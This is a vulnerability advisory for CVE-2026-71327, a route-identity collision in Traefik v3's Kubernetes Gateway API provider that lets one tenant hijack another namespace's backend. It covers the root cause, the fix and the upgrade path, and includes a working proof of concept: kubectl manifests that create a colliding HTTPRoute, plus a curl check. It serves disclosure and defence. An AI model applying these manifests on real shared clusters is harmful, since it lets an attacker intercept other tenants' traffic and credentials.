high · 8.2CVE-2026-71327Aug 6, 2026

CVE-2026-71327: Traefik Gateway API Route Identity Collision Allows Cross-Namespace Backend Hijacking

Rohit Hatagale
AI Security Researcher, SecureLayer7

Traefik's Kubernetes Gateway API provider builds route identifiers by joining namespace and name with hyphens, so two routes whose names contain hyphens can produce the same key, letting a tenant…

Packagegithub.com/traefik/traefik/v3
Ecosystemgo
Affected>= 3.0.0, < 3.6.25
Fixed in3.6.25
CVE-2026-71327: Traefik Gateway API Route Identity Collision Allows Cross-Namespace Backend Hijacking

The problem

Traefik v3.x builds its internal router and service keys for HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute by hyphen-concatenating the route kind, namespace, name, gateway namespace, gateway name, entry point, and rule index, then running the result through a Normalize() function that also replaces non-alphanumeric characters with hyphens.

Because Kubernetes names may contain hyphens themselves, this construction is not injective. For example, namespace=team, name=a-app and namespace=team-a, name=app attached to the same Gateway produce the identical normalized key httproute-team-a-app-gw-gateway-shared-ep-web-0.

When Traefik merges per-route configuration into the provider-wide map with maps.Copy, the later route silently overwrites the earlier one with no collision warning. A tenant who can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to a backend it controls, including intercepting credentials and authorization headers.

Proof of concept

A working proof-of-concept for CVE-2026-71327 in github.com/traefik/traefik/v3, with the exact payload below.

bash
# Step 1: victim route in namespace "team", name "a-app"
kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

# Both routes produce the same Traefik key:
# httproute-team-a-app-gw-gateway-shared-ep-web-0-<hash>
# The hash was computed from the rule alone, so identical match rules = identical hash.

# Step 2: attacker route in namespace "team-a", name "app" (colliding identity)
kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend   # attacker-controlled service in team-a
      port: 80
YAML

# Verify: traffic now routes to the attacker backend
curl -H 'Host: collision.example' http://<gateway-ip>/
# Returns: ATTACKER_BACKEND  (was VICTIM_BACKEND before collision)

The root cause (CWE-659: Use of Multiple Resources with Duplicate Identifier) is in Normalize(), which flattens all delimiters to a single hyphen with no length encoding, making the concatenation non-injective. The hash appended by makeRouterName was computed from the routing rule content only, so when the attacker copies the victim's hostname and path prefix the hash is also identical.

The fix in PR #13580 (commit a764166) changes the hash input to cover all identifying fields: route namespace, route name, gateway namespace, gateway name, and listener, not just the rule. This ensures two distinct route objects can never produce the same final router name even when their hyphen-joined prefix strings collide.

The migration guide confirms the hash suffix changes for every existing route as a result.

The fix

Upgrade to Traefik v3.6.25 or v3.7.10. Both releases contain PR #13580 which makes the router-name hash a function of the full route identity (namespace, name, gateway, listener) rather than the rule alone. All Traefik v3 minor lines older than v3.6 are end-of-life and will not receive a backport; users on those lines must upgrade.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research